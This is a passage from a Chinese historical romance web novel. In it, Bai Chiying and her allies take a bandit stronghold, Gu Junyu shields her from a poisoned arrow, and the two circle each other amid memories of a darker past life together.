二是上面派来剿匪的副官,近日里不知怎的,跟打了鸡血一般,又开始筹谋着一举拿下陈家庄。
可他嘴上虽总说东说西,说了好几日又不见动作,偏自己又不敢赌着一把,只能次次将偷探来的情报都传予陈家庄,一来二去,反叫陈家庄那接头的人烦得不行,叫他别来了。
他一时像个热锅上的蚂蚁,踱来踱去,踱去踱来,不知如何是好。
一小厮模样的人鬼鬼祟祟推门进入,等望见窗外确无人时,才关上门小步行到王大人身边。
“大人……探到许副官说今晚要从西路进攻陈家庄……”
“闭嘴吧!他前儿刚刚说了要半夜从西路进攻陈家庄,可到最后呢?屁都没放一个!我在那冷风里和陈家庄的人守了一晚上,他倒好,还带着兵在山脚下吃黄面馍馍呢!滚吧!”
王大人现如今一听这“西边”“晚上”“进攻”几次,便如同扎了刺猬刺一般脾气炸开。
那小厮还欲再添上几句什么,却被王大人一瞪,霎时不敢吭声了。
“哼,虚张声势之徒……且走着瞧吧。”
他摸摸自己并未留长的胡子,学着老道士仙风道骨的模样,只显得滑稽。
*
白持盈一行人穿了兵士的装扮,混在小队分散的人马中,正听哨兵报着陈家庄上的情况。
那许副官大马金刀地往半只老虎大的青石上一坐,打了个喷嚏。
“准是那姓王的又在骂我!这杀千刀的玩意儿,迟早剁了他!”
听他这一骂,原肃张的气氛登时欢悦了起来,围在一块儿的兵士接二连三地开始骂那王大人,听得白持盈直乐。
几日前,这许副官紧赶慢赶在山头上寻到了几人,向白持盈说了这半年多来他的窘境。
原这人曾是西南边陲小州的守将,半年前因功调来洛阳剿匪,却整整半年都未有进展。实在是这洛阳新任的洛阳令上任后,官府与陈家庄的关系便愈发“紧密”了起来,串通一气打劫过路商旅民众,欺男霸女无所不为。
他每每想有个什么动作,还未来得及出动,自己剿匪的路子便全叫人透露了去,总是无功而返。
他烦得不行,也没人愿意接这个烂摊子,实在是别无他法,只能死马当活马医,来找这最近逼得王大人数次跳脚的“话本仙子”,看看是不是真的大罗神仙转世。
神仙不神仙的不晓得,这姑娘真有两下子。
“他们果真没动静?要不现下便出兵去?”许副官问道。
白持盈却摇了摇头,叫他稍等。
又约莫过了一刻的时间,惨白的天空上方升起道不显眼却足够人辨识出来的火烟,白持盈一笑,示意许副官可令兵士行动了。
身着暗色劲装铠甲的兵士门闻令速进,留下的一些窸窸窣窣搭着什么东西,一时草动露消后归于平静。
*
“报——”那守山的小匪贼连滚带爬地跌撞进陈家庄大堂来。
“有话快说。”陈老爷手中拿着张儿雪浪纸,一脸醉态,对着纸上粉|末深深吸了一口。
“官兵……官兵将咱们这儿围了!”
“什么!”陈老爷一惊,那粉末洒了一桌子,满是褶子的脸红一阵白一阵,最后从翻着白沫的嘴里吐出一口酸气来。
“姓王的不是说是假消息吗?怎的真来了?现下进到哪儿了?”
“在……在寨脚下,他们开始生火做饭了。”那小喽啰摸摸脸上溅到的白沫,哆哆嗦嗦回道。
陈庄主猛地咳嗽起来。
不好!
只是没等他反应,他身边的近侍便也急急跑了进来,高喊道:“当家的,不好了!咱们的粮仓被烧了!”
堂内众人顿时慌作一团,陈老爷往外赶了两步,朝后一望,过见浓浓黑岩冲天冒起,又朝着山后飘去。
“还不快去救火!”他气极了,狠狠踢了那当差的近侍一脚,急急往那粮仓走去。
陈家庄粮仓起火的消息在短短一刻钟内穿遍了满山,一时人心惶惶。
山下众人却是一派不慌不忙之样。
“不急,不急,白姑娘说再等一会子。”许副官将手中考好的野鸡腿递给就近的兵士,传令道:“告诉已经守在前面的兄弟们!今天若大获成功,咱们每个都有鸡腿吃!”
一时气氛高涨。
白持盈则拿着帕子浸了溪水,给辜筠玉擦着脸上的烟灰。
“哎,你们别说,这姓陈的还真有两下子,那粮仓附近有好几个储水的大水缸,正是防着这个呢估计。”
“那你们怎么烧的那粮仓?”
白持盈让辜筠玉转过另一边儿脸来擦。
“嘿!这能难倒你姑奶奶?我和公子在外边儿寻了好几个拳头来大的石头,就那么一砸,嘿嘿,管他是西海龙王管的水缸还是东海龙王管的水缸,统统都……哎哎哎,我脸上也有烟灰啊,你怎么不给我擦擦?”
石当家的一喊,白持盈算是破了功。
她转身,将那已滚沾得黑漆麻乌的帕子展开给石当家的看,笑着就要上前:“来来来,我给你擦擦!”
石当家的连连后退几步躲开,一屁股坐到了刚生了绒绿的土地上。
白持盈又将那帕子轻轻揉干净了,才回过头去看辜筠玉。
她哪儿见过辜世子这副模样,一时又没忍住,笑个不止。
辜筠玉原还听话地静静站着任由她擦,这下哪儿还能放任白持盈讨笑自己,一手捏住白大小姐的腮帮子,将姑娘的脸捏成一个嘟起的圈儿,红润的舌微泽水光。
泉水一声一声渐击着青石,白持盈的心嘭嘭地跳,快过树摇风吹许多。
她两颊烫得要命。
辜筠玉忽而低头,叫她心下一惊,心绪纷乱,忙闭了眼,却未等来意料中的东西,只觉着额头一阵凉意。
白持盈睁眼,猝不及防撞进了一双含笑的眸子。
“妹妹在想什么?”
抬手抹了抹额头,白持盈瞧见自己手上的烟灰,就知这厮又是在戏弄自己,忙要追上也捏他脸,却不想辜筠玉压根没躲,直直将她接在了怀中。
“你!”白持盈气急。
“我?”辜筠玉一副无辜,伸手将她额头那一小片儿烟灰揩去了。“你方才是不是以为……”
“没有!”白持盈踩了他一脚,下意识想提裙逃走,却忽然发觉自个儿并未着裙裳。
辜筠玉见人盯着自己的束口裤呆在原地,不免觉得可爱,又手作持拳状捂在嘴前笑了起来。
白持盈反应过来后,瞪他一眼,不再理会这人,转头便要走。
却不想步子还未迈出,便被掐着下巴搂回了辜筠玉怀中。
阵阵檀香丝缕萦绕鼻尖,白持盈耳边一阵温热,听得男子闷闷言:“我方才确是想吻你的。”
白持盈登时僵在他怀中。
“可一是觉着我如今无父无母无权无财,擅作唐突之举总是薄待了姑娘;二是姑娘如今大概不大愿意,我吻了你准躲着我走——”
“三是,冬天还没有过去。”
白持盈本欲挣脱开来,听他这言却是不知该如何动作了。
她竟然没
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骨气地觉着,就这样也不错,他便这样什么也不记得罢。
但她不能叫辜筠玉真真全得了逞,这人最狡猾得紧,三言两语便能哄得自己全信了他。
不能信他。
白持盈深吸一口气,又缓缓呼出,终于挣脱这人几近于无的桎梏,转过身去,看似面色平静道:“前几日阿是不是说了么,你乃堂堂的世子大人,你什么得不到?如今你一回长安城,招招手,许多比我嘴甜又讨人喜欢的姑娘便会一拥而来,我个落难的孤女算得了什么?”
这一席话下,唯有她仍鲜活跳动、而且愈跳愈快的心脏出卖了她。
辜筠玉没想到她会回这一长段凄凄却果决之言,一时愣住,半晌苦笑一声。
“我虽还不记得什么,却其实不大喜欢长安城。”
“那里太空、太大了。”
他不再上前,只将一枝未开的山桃花折下。
“长安城会有你吗?盈娘。”
*
满庄子里飘满了大米香。
已过了晌午的饭点儿,陈家庄众人却知,这饭是吃不上了。
却无人敢出声投降。
他们每个身上,都被下了同样的毒,只能死命为陈当家的做活。
上前也是个死,往后也是个死,这一群“山匪”守在陈家庄的大门口,却像站在阎王殿门前。
为了活命,这些人从前都拼死了和官家作对,尽管他们知道这不是正道。
可有什么法子呢?
他们的命全掌在别人手中。
陈当家的绑了小盲女和四五个被拐的女子,站在高高的庄墙上,看着眼前列阵的双方。
他见那许副官上前,本做好了要开战的准备,却不想庄前那人举起双臂高声喊道:“现下官府已寻到解‘束命毒’的方子,可熬药解毒!速速招安!两刻钟后,未招安的仍视作匪寇,招安的则编入卫队!”
陈家庄众当家的哪儿料到这一出,一时便要下令招安者皆杀,却为时已晚,眼睁睁看着大门口一群守兵乱哄哄一阵后,先跑了一个出去。
这一跑便一发不可收拾,他们哪儿管得官府怎么知道这绝密的“束命毒”的,先是三三两两,后乌泱泱一群人都放下了武器。
守在门口的五当家被自己曾欺辱过的小门卫砍下了头颅。
一时情况骤变,陈老爷哪里还管得着旁的,忙要绑了小盲女几个威胁,却被一把匕首抵上了脖子。
沈是一笑挑眉:“怎么,不认识小爷啊,恐怕没机会认识喽。”
众人看着这神出鬼没趁慌乱混在近卫中的男子,一时皆愣住了。
一旁跟着沈是一起来的真宁的侍卫长趁着众当家的惊诧时机,救下被绑的小盲女几人。
眼瞧着就要尘埃落定,白持盈却总觉得心头有股子萦绕的惴惴不安之感,始终无法驱散。
到底是为什么呢?
她抬头看着沈是站在高高的石墙上与她对着暗号,忽而,一道银光自不远处的松树间闪过,只堪堪无声擦过针叶。
尖锐的破空声鸣响。
那是一支锃亮的、淬了毒的羽箭。
白持盈眼瞧着那箭就要射向自己,躲已来不及,心中大骇。
她心抽痛,脑中一片空白。
但一息后,想象中的疼痛并没有袭来。
白持盈落入了一个熟悉的、温柔的怀抱。
她呆呆地看着挡在自己身前的辜筠玉。
辜筠玉身子本就没大好全,口中鲜血汩汩溢出。他想咽下去,不想让白持盈看见,却无奈这血来得太多太急,全落在了姑娘肩头。
“筠玉!!!!!!!!”
白持盈感到他颤抖过几息后,缓缓将头靠在了她肩上。
18.蝴蝶梦中琵琶弦上,桃花扇底燕子灯前
白持盈又听了郎中婆婆一顿唠叨,乖乖煎药去了。
她转身去看炉子,见火起的差不多,将几味药材“扑通扑通”利索地扔进小药锅中,带着草本植物的涩味渐渐在屋子中弥漫开来。
药材在小药锅里“咕嘟咕嘟”冒起黄褐色的水泡来,又一个接一个地破裂,一番滚沸后被姑娘盛进了碗中。
辜筠玉整整三日都没有醒。
她看着床上人病态苍白的脸庞,想起这人檀香阵阵的怀抱,想起前世孽缘,想起今生许多,想得泪潸潸而下。
她脸上都是冰凉的泪水,人却无甚么表情,瞧着叫人后怕。
白持盈这三日几乎是一句话也没有说,堂内一群人大气都不敢喘,哪里见过她这木头似的模样,只能围在屋外干愣着。
“这遭要是醒不过来,你们就先去山头寻个好位子吧。”
婆婆冷着脸叹了一口气,将辜筠玉伤口溢出的淤血清理干净,又施了几针。
床|上人仍安静得可恶,白持盈持药碗的有些抖,不小心将滚烫的药洒在了手上。她克抑着将碗扔出去的本能,快快地将那碗推到桌上,才出门去寻井水冷手。
她一出门,沈是就跟了过来。
给白持盈提了桶井水上来,话在舌尖绕过几转,沈是还是问出了口:“阿盈,你真如此欢喜他?”
白持盈右手浸在冰凉的井水中,听他这话一愣,而后怔怔道:“何故如此说?”
沈是沉默半晌,将杏树枝头积雪摇落。
“你……罢了,我只将一事说予你听,你万万要记着这些话,如若……如若他日后负你,我定杀|了|他。”
“三年前,他奉皇上之命前去助二叔抗南洋匪盗,他那时才十七岁吧,能耐大小我不做臧否文章,只一件儿你得知道,这事儿也骇得二叔两月没睡好觉,最后请辞了去。”
白持盈上辈子遇到辜筠玉时,这人已是只手遮天,根本不会有人再提辜世子少年时的这些事儿,她是真的没听过。她抬头,向沈是投去询问的目光。
沈是见她没有神游,确是在仔细听自个儿说话,便继续道:“他当时为了将倭匪一网打尽,拿一镇的富商百姓作引子,一齐活活烧死在了镇中。”
“几千号人,一时全没了。”
“若是天灾,你我无法子,可这人祸,他到头来是领了功受了封赏,可那么多无辜的百姓,谁来还他们的命?”
沈是显然对这事儿极愤怒,说到最后,唇齿几经开合,颤抖着抿成一条线。
“他真的是个活阎王啊白持盈!”
白持盈张嘴想说些什么,却发现自己如今哑得什么都吐露不出来,话语像滚落的霜雪一般苍白。
她其实知道,她最知道,辜筠玉就是个活阎王。
于是姑娘只能带着哭腔笑答他:“我最讨厌他了,九州天下应当没人比我更讨厌他。”
朔宁三十年初春,雪消云霁。
夜已深了,黑郁郁的一片青黛山色,唯勾了些金线边儿,瞧仔细了,才发觉那是一处宅邸微亮的灯笼昏光。
因着这处庄子铺全了地龙,又有温泉在,故而庄子旁的桃花竟颤颤巍巍生了花骨朵儿,粉的一簇,白的一簇,黑色的团影落在地上,便成了月色滚下的黑珍珠般的泪滴。
小婢女们提着琉璃镂金掌扇灯,满面通红,守在正房门口,你瞧瞧我,我瞧瞧你,谁都相视一笑,又伶俐地不发话。
她们身上皆是玉色蝴蝶团花对襟袄子,各个的花样不同,却是极精致的,在满京城的丫鬟婆子里也是顶气派。
这是世子此番下江南带回来的缎子,原带了许多匹给白持盈,白持盈瞧着自个儿用不完,家中友朋又尽散了,便裁出一半儿来,给郁离轩的诸个小丫头一人制了一身衣裳。
“我千辛万苦得来的缎子,你倒是好,全给她们分了。”辜筠玉双手穿过姑娘白瓷般的臂|下,轻轻一提,就将意欲躲开的白持盈扣在了怀中。
本就昏昏的烛光叫眼前人挡了一大片,白持盈刚想开口驳他两句,却被弄到了紧|要处,一时嚣张话语皆化为破碎的气音,不得出了。
看着姑娘红|润的唇|舌,辜筠玉低头,掐住她的下巴,细细吻着那红桃花瓣似的唇,直吻得姑娘连连推却他,哭着叫他滚出去。
“不出去。”辜筠玉也不知在说什么,又啄了她鼻尖一下,抚弄着她破皮的唇角。“我真出去了你又头一个不乐意。”说罢,他将一墨紫色的细条镯子戴在白持盈手上。
镯子正中断开,镶了块儿血红的玛瑙,成色极好。
白持盈香腮透赤,狠狠锤了他一把,嘤嘤咽咽一阵后,才又钻到他怀中开口道:“……咳……辜筠玉,我、我嗓子疼。”
似乎早料到她会求他,辜筠玉一笑,伸手拿了小婢女才端进来的润口糖水,先尝了口,确认是不烫了,才一点一点喂给白持盈。
“下、下次不弄这个了。”她一点一点将那糖水抿干净,倚在辜筠玉怀中埋怨道。
“好。”辜筠玉心情十分好,答得也十分顺畅。
“前一回你也说‘好’!”白持盈恨恨道。
“前一回是前一回。”辜筠玉淡定地抚摸着她的后背,一下又一下。
白持盈实在是太累了,没心思计较他手上动作,歇了半晌,才又试探着问道:“你寻到我舅舅了吗?”
背上的手一顿。
将她露在外头的手塞回被子中,辜筠玉吻了一下她的发顶:“没有。”
怀中人气都沉了下去。
“怎么能和人间蒸发了一般呢……”白持盈闷闷不乐。
辜筠玉抱着她,没再说话。
好不容易将人养得处处都贴合自己心意,有些烦心事儿还是不必知道的好。
他自有办法,叫她一点一点把从前都忘记,然后心里眼里只有他一个。
“乖,盈娘,抬头,把剩下的也喝了,不然明儿你又讲不出话来。”
白持盈困顿得快要睡着了,就乖乖地抬起头来,将那点儿糖水都喝了下去。
于是她没有看到枕边人那一反常态的,痴冷地如同毒蛇一般的神色。
三日后,白持盈才能下|榻来。
她其实身子还未好全,但一是奈不住桃花全簌簌开了,原沉寂了许久的心也有些活泛,二是耐不住荷衣这丫头二三劝说,便答应了叫她陪着一同出去踏青。
山色是极好的,浓的黄淡的绿一痕连着一痕,白持盈刚将一祈福的红丝带束到低下的枝丫上,便听见一声清脆的女音。
“早说了这儿的桃花最是好看!你们还偏不信,我几时骗过你们?”
白持盈听了这闹哄哄的一片音儿,从前或许喜欢,如今确是只想避开的,给荷衣使了一个颜色,转身便要从小径离开。
但还是晚一步,她们二人叫那为首的姑娘喊住。
“喂!前面的!今儿我们大家伙儿在这儿踏青小聚,容
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不得闲杂人等,便先抱歉,劳烦二位让道吧!”
白持盈本不欲与她们纠葛,听这话眉头微皱,反款款转了回去。
荷衣本极沉静的一个姑娘,跟着白持盈日子久了,也不免起了护住的心思,先叉腰强声道:“这儿又不是你们这一家的!凭什么叫我们走哇!”
那为首的姑娘见她穿戴华丽,而白持盈一身素衣,便以为她是为主的那个,哼声不屑道:“知不知道我们是谁?敢和你小姐强嘴?”她欲上前,却被身后一姑娘拉住了臂子。
“小嫣,别闹。”那姑娘款款出来,眉目如烟含媚,脸若春桃,玉骨香肌,仿若洛水妃子,身上正是玉色蝴蝶团花绒披风。
待看清二人后,她眸色晦暗一瞬,后才装作一怔,缓缓开口:“在下柳净识,敢问二位姑娘芳名?”
与方才先开口的人不同,她话音是朝着白持盈去的。
白持盈觉得这人来势不纯,不欲多纠缠,只道:“山中一闲客罢了。”话落,转身便要走开。
哪想得那先开口的姑娘惊道:“呀!柳姐姐!你看那人身上的袄子,竟与你那花样一样,怕不是仿的吧?”
白持盈知道自己走不了了。
她转过身,见那柳姑娘装作才发现的讶异状,捂着嘴道:“你这丫头怎的说话呢?叫人家如何收场?”
白持盈其实根本没听她们说什么,只是看着柳姑娘手上那晃来晃去的、墨紫色的细条镯子,一瞬移不开眼。
后来白持盈很多次没骨气地想过,那天她就不该去看什么山桃花。
*
沈是喊了一声,白持盈才如梦初醒般回过神来。
见她发呆,沈是眼中满是痛苦的无奈,他一笑,未再做什么出格的事儿,只道:“阿盈,如若将来你又什么不容易的地方,第一个想到的,万万一定是我,我从前没能帮到你,如今能为你做些什么,也算不负你我少时情分。”
白持盈看着眼前已经抽条的男子,能够独挡一面的沈家少主,含泪笑了笑:“好。”
晚间白持盈放心不下,便守在了辜筠玉|床|榻旁。实在是几天没合眼,今儿白日又耗心耗神地想起了从前事,不一会儿竟迷迷糊糊间伏在榻旁睡着了。
辜筠玉醒来时,第一眼就看见了姑娘近在咫尺的脸。
他一怔,想翻身,心口处却一阵剧痛袭来。
是从前从未有过的痛楚。
辜筠玉忽然想起来,自己昏迷前,似乎是救了白持盈。
他救了白持盈,他想都没想就帮白持盈挡了那箭。
辜筠玉心中忽然一阵恐慌。
他十岁那年第一次杀人的时候,都没有如此惊慌过。
这不对,他不应该这样,他死死地按住那泛痛的伤口,只要再偏一点点,就一点点,自己就要死在这儿了。
为了一个女人。
这不对。
他废了多少心机,害了多少命,算计了多少人,才走到这一步的?
这不对。
但他悲哀地发现,如果再来一次,他还是会救白持盈。
辜筠玉偏过头,看着姑娘苍白而恬静的睡颜。
他伸手,抚摸着姑娘纤细的脖颈。
只要他轻轻一用力,就能让她在睡梦中死去。
月光照在男子半面如玉的面庞上,并无慈悲之感,反如十层地狱罗刹。
杀了她。
辜筠玉心底有个声音在说。
19.成双的相怨各投林,独行的单望别有道
他的手在姑娘纤细的脖颈间停留了许久,都未能有下一步动作。
这样苍白而柔弱的一个人,无依无靠,飘零在这世间,却又对这个心软,又对那个心软,实在是天真得可笑。
而这其中,她对他心软最多。
她像是被一切柔嫩的光晕包裹住的其实棱角分明的玉石。
辜筠玉注视着姑娘颊侧莹莹的泪痕和在月光下柔而长的、翕动的睫毛。他能感觉到白持盈其实有时并不信他的话,可到最后,姑娘并没有计较他不太用心的、甚至算得上拙劣的欺瞒。
为什么呢?
他的手顺着莹白的脖颈向上,抚住那薄薄的唇。一用力,那唇便会霎白一瞬,而后透出红|润的春樱颜色来。
但辜筠玉并没有这么做,而是继续探着向上,拭走了姑娘眼尾冰凉的泪珠。
像初春檐上扫落的薄雪融化在指尖。
辜筠玉忽然改变了主意。
就这样陪她玩闹一阵也没个什么,左不过有人不想他活着回长安,他再呆着这般看看戏也未尝不可。
至于白持盈,如果她足够听话和懂事,带她回长安并非难事。
她父亲母亲都葬在长安城外的氓山上,最要好的朋友也还在大明宫内,她要回去的,没什么不愿意。
若她真不愿意回长安?
不,没有这个可能性,他会让她不得不去的。
辜筠玉慢悠悠躺回了原处。
他侧过目光,就这样一瞬不眨地翘着白持盈。
白持盈本就没睡太踏实,混混沌沌间觉得有人掐住了自己的咽喉,还未等她挣脱,那桎梏便化作了丝丝缕缕的潮湿凉意,抚摸过她脸颊唇舌。
待睁眼时,已是深夜,白持盈眼前先是一片光影模糊,而后渐渐斑痕聚拢,汇作辜筠玉黑如沉墨的眼睛。
她还没反应过来,便觉肩颈一阵酸痛,将要倒在地上时,叫辜筠玉伸手捞了起来。
滚到这人怀中时,白持盈还是迷迷糊糊的。
“你、你醒了。”
她愣了一会儿,才终于反应过来似的,要看辜筠玉的伤处。
辜筠玉握住她发凉的指尖塞回被子里,笑道:“冻傻了?”
白持盈才不上他的当,就着月色还算清亮,便要伸手去扯辜筠玉的里衣。
辜筠玉一挑眉,没料到她这么坚持,只得躺平了任她扒|开自己的衣服,检查那箭伤。
白持盈看过,见确实是连人带伤都好了些,才放下心来,抬眸却正对上“罪魁祸首”含笑的目光。
白持盈见他这不轻不重的模样便气不打一出来,梦中眼前恰好都是这讨命鬼,一时鼻尖发酸,又要落金豆子。
“哎呦,我的祖宗,怎么又要哭了。”
他不说还好,她一说,白持盈不知怎的更委屈了,眼泪啪嗒啪嗒全落在了他颈窝。
梦中人的模样与眼前渐渐重合,白持盈伏在他身上,因怕碰着他伤口,不敢乱来,反叫辜筠玉伸手搂着动弹不得。
“你先放开。”白持盈香腮飞红,眉目因泪下而含烟带雾,想起身错开,却发现辜筠玉的臂力还是如从前一般锢人,挣扎半晌还是无果。
辜筠玉眼中划过一丝几不可查的暗芒,就这现在这个姿势收紧小臂,一瞬不眨地看着白持盈。
等那月又移了一个窗格,菱花窗栏透下零落微光时,他将姑娘稀碎的发丝撇到一侧,才开口:“盈娘,我好像想起来一点儿什么了。”
白持盈心头一震。
虽知晓辜筠玉一定会回长安,她却拿不准这人留与不留的案底心思,自己从前一直不信他真什么都想不起来了,故而时时试探,如今他真想起来了,反倒有些忸怩的不乐意。
如今想起来了,自然就要回去了,没什么不对的。
白持盈呆滞过几瞬后婉然笑道:“世子忆起从前富贵自然是好,什么时候走?早春恰到了,我们也好送送世子。”
却瞧着辜筠玉听她这话反而一愣,一双凤眸微阖,语似委屈道:“你怎的话都不待我说完便要赶我走,好无情,我可没说要回长安。”
也不知白持盈心中想的什么,辜筠玉只觉得姑娘卸下了气力,不似刚才犟撑着要逃开,反松了劲儿实实落在了他怀中。
他正欲去探看,却觉襟上一阵温热,低头一看,才知是白持盈又开始无声落着泪珠。
辜筠玉再傻也还察觉出不对劲儿来了。
“盈娘?这……这是怎么了?”向来淡然如斯的辜世子罕见如此手足无措之时,他想抬手捏住白持盈下巴瞧看,手刚探近,就被白持盈拍了回去。
辜筠玉现下是一点儿也不敢动,他感到白持盈原还只是攀着他的双臂抱越来越紧,他甚至有些喘不过气来。
“辜筠玉,什么不记得了,什么记起来了,我知晓你句句话都不能信。”
姑娘看着他,眼里是他探瞧不明白的情绪。
“但我觉得这样对你不公平。”
她伸手抚了抚那眉间的朱砂。
“我想试着相信你,但你值得我相信吗?辜筠玉?”
说罢,白持盈趁着辜筠玉愣怔的瞬息,躺回了床榻里侧,只是背对着辜筠玉,没有回头。
辜筠玉看着她沉默而孤寂的背影,不知怎的心上一阵绞痛。
真稀罕。
盯着姑娘冷白的一段颈子好一会儿,直到窗外流散的月光皆被夜云遮了去,辜筠玉才上前搂住了她。
有二三流萤自窗外飞过,如同擦过的星斗。
他确实不值得相信,辜筠玉心道。
可是有人偏偏每次都想信。
*
檐上抖落二两消融的积雪,落在地上又淌成涓涓小流,逶迤至白持盈鞋边。
姑娘没有抬头,而是顺着这细薄的小流一路走出去,行至门前,见沈是牵来马匹,微微一笑。
“阿盈,此岁一别,真不知何时再见。”
沈是今儿换了一身宝蓝圆领四?衫,显得人愈加神丰眉朗,容光彰彰。
他此遭本就是奉了皇命要回长安的,转道来洛阳已是多耗不少时日,此遭是不得不走了。
不知怎的有些依依离别的伤感,白持盈手中拿着枝新发了芽的嫩柳,递到沈是手中。
“去吧,沈老夫人和沈家姊姊妹妹还都等着你呢。”
沈是苦笑一声。
“真想把她们都接到幽州去 ,至少能少担心些有的没的。”
当今圣上多疑,自齐王谋反后,各州道将领皆是两年一换,唯有幽州因地处最北又紧邻蛮族,故而常是出身幽州的沈家驻防。
圣宠之下是伴君如伴虎的时时思危,近些日子来沈是嗅到了安静湖面下的风雨骤变之兆,见边境今年来大安,便自请了回京述职,求一个换防他州。
其实皇帝等的何尝不是他这一步“自请”呢。
毕竟这位圣人,疑心最重又最好面子,先杀了故友又诛了嫡子,却听不得旁人说他一句“不仁不义”。
向来如此罢了。
白持盈叹了一口气。
她深知沈是如今肩上的万钧重担,沉甸甸的,压得人喘不过气来。
谁也不想让自己亲眷住在第二个齐王府。
沈是看着白持盈,眼中尽是春风拂柳的温柔,柔缓了本凌厉明媚的眉目。他将一玉佩塞到
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白持盈手中,郑重道:“这玉佩你且拿着吗,若日后去往北三州,大有用处。
白持盈原要推拒,却听他继续开口。
“这不是我给你的,算沈家为白家的,父亲若在,也只会赞成我,毕竟这么多年来,他也日日因自己未能帮上忙而内疚,此玉佩为友朋之谊,不为蒹葭之思。”
姑娘听这话,果真收下了那玉佩。
沈是松了一口气。
他低头看着足尖半晌,最后下定了什么决心似的,才抬起头来,粲然一笑。
“还有……我与辜砚珣只一面一事之缘,凭我一己之见对他多有势利偏颇之论多为不妥,况他在京中名声向来还不错,除过那剿匪一事,我竟再想不出个旁的什么不巧处来。”
“说到底我虽不喜他,可总望着你更好,你如今呆在我身边儿若回了京城……不一定有呆在他身边来得安全……我……”
其实最为首的那个由头,还是你欢喜他而不再欢喜我。
沈是忽然想起儿时一场鹅毛柳絮雪后,二人蹲在白府的柿子树下看仆人架火炉子,苏表哥未到,白持盈偏想吃冬柿子,缠着沈是给他上树摘,沈是伸手抬脚还未来记得上去,一树积雪全叫二人抖了下来,簌簌落了满头满肩。
白持盈指着他笑,说他像个白眉毛老头,她却看着姑娘发尖莹莹的白雪愣住了。
那时候他想着什么呢?
久与卿卿共白头。
只是时节易易,少时光景已不在。
沈是再凝眸,姑娘的面庞已比那时清瘦许多,眼中也蒙上一层他看不清的积雾。
就像已经一个人走过了很远,再回头时,遥看故人的萧索之感。
白持盈久久地没能答话。
小雀因着气候回暖比冬时喳嗻跳动活泛多了,从低的那枝头跃到高的那枝头时,引得连篇一簇簇都上下晃摆。
她发现沈是还是从前那个沈是,磊落旷达,一派侠客胸襟。
她从前总调笑沈是不像个宫闱侯爵家生之人,反像江湖侠客,把剑佩妥,悠悠地行于江湖行侠仗义,千里除贼后还不留姓名。
“我会记着的,沈大侠,沈将军,一路谐顺,代我向沈老太太问安。”
沈是点头,以迅雷不及掩耳之势抱住了白持盈,像是要把他嵌在血肉里一般。
良久他才松开,与白持盈作别。
白持盈向他眨眨眼,将一封信塞到他手中。
“这信嘛,便劳烦大将军替我送到南国公主府上去罢!”
沈是看着那信封上画的极丑的年兽和小鸡,忍不住埋汰:“这信送到了,南国定连着你带着我一起骂个狗血淋头。”
白持盈拍拍他的肩膀,貌似难办道:“那便有劳阿是多替我美言几句了!”
沈是一笑:“自然。”
男子将信收起,翻身上马,赶着春信的第一声长歌,自洛阳打马,要到长安去。
*
白持盈转身回大堂内时,辜筠玉正拿了把竹椅子坐在那杏树旁,怀里抱着个石小七,与小孩子翻着花绳。
小七毕竟年纪不大,手指头又短,十下里有七下都翻不好,但辜筠玉不发疯的时候耐性脾气都很好,故而此刻也不见他有一点儿不耐,只笑着将那红艳艳的花绳再撑好,等着小七上手再来。
看着眼前这一幕,白持盈忽而脑中一片空白,她总觉得有什么她忘了的东西,可无论如何也想不起来。
心痛得愈加厉害,白持盈肺腑皆凄凄,眼前恍惚一阵,便再无知觉了。
耳边是石当家的惊叫,眼前是辜筠玉赶来的身影。
真不好,似乎又要给旁人添麻烦了。
20.好雨飞花谋吻檐月,轻风送春计探窗竹
白持盈醒来时窗外天色已擦黑,落了雨,淅淅沥沥的,前些日子未经的潮都叫春云驼来,如同少女手心滴落的香汗,润而嫩。
心中沉郁随着这清利的一场雨洗走了不少,白持盈想回忆起自己记不起来的东西,半天未过,反晕了过去,给旁人添了许多麻烦。
当然这旁人里不包括辜筠玉。
她看着罪魁祸首推门蹑着手脚进来,手中拿着碗桂花蜜豆粥,虚虚关上房门,转身时正对上姑娘直直看着他的目光。
他走到床旁,将那蜜豆粥舀起一小勺来,想喂给白持盈,勺子还未送到人嘴边,反倒听姑娘先喊了一声烫。
“不应当呀……”辜筠玉将把那勺子凑到嘴旁再尝尝,忽看到了白持盈忿忿的目光,哪儿还不明白自己这是又惹着人生气了。
“我错了。”辜筠玉稳稳地将那蜜豆粥喂进了白持盈口中,果然见姑娘一点一点咽了下去。
虽然不晓得自己又干了什么,但先认错准没错。
白持盈也知晓自己是没理还偏要强三分,乖乖喝完那一碗粥后,躺回了被子里。
“辜筠玉,你该没有再骗我罢。”
姑娘看着他,目光中满是坦荡。
听罢这话,辜筠玉将空了的碗放到床头,反问道:“何出此言?”
白持盈盯着他那只小指与无名指有些变形的手,状似无意道:“没什么,只是方才做梦梦见了些东西,吓得我心慌紧,偏又只能想起个六七分来,便问你了。”
辜筠玉将那碗转过半个圈儿,使得有个豁口的一边对着自己,便抚摸着那豁口,边淡淡一笑:“自然没有,我有什么可骗你的?”
听他此言,白持盈侧过身子直看着他,问道:“你为何一开始会受那么重的伤落在那山崖下?”
“遇到了刺客。”
“谁派来的?”白持盈接着问道。
辜筠玉悠悠看了她一眼,竟破天荒地没有搪塞她,反说:“有可能是现在在争储的皇子中的任何一个,不过我觉着不是。”
“那是谁?”白持盈没想到他这么老实,便一边讶异着,一边接着问。
“我猜,是我顶好的母亲大人。”
听她这话,白持盈心中荡起千层惊涛骇浪来。
辜筠玉与镇国公府、长公主之间的暗流在前世是久到辜筠玉谋逆登基反后杀了这二人才被天下人发现的,如今辜筠玉竟然就这么直接和自己说了,反叫白持盈一愣。
朔宁二十八年,辜筠玉谋逆前夜,先两杯杯毒酒送走了镇国公与长公主。
尚书台的老尚书提笔上书一问苍天二问地母三问祖宗将辜筠玉骂了个彻底,然后一头撞死在了含元殿朱红的立柱上。
不孝不悌,无君无父,辜筠玉背着一身骂名登上了那个九五至尊的位子。
可白持盈总想到她从前跟着辜筠玉回镇国公府时,雍容华贵的女人无止境的谩骂。
那时的长公主已因嗑|五石散疯癫了些,骂起辜筠玉来更是不堪入耳,句句是恶毒的咒恨之语。
所以他其实在镇国公府过得并不好。
辜筠玉脸色发白,苦笑一声,捂住了白持盈的耳朵。
“别听了,早知不来了。”
至于长公主究竟是怎么死的,白持盈没问,辜筠玉便一直也没说,但绝不是所谓毒杀。
因为镇国公和长公主根本就不是同一天故去的。
但这个中辛秘最后随着白持盈与辜筠玉的彻底决裂成为湖底寂静的沉石,永远安静地躺下去。
如今辜筠玉忽然提到这事儿,白持盈不得不惊诧几分。
因着现下的辜筠玉,该还是镇国公府的“明珠凤凰”——至少在别人眼里该是这样。
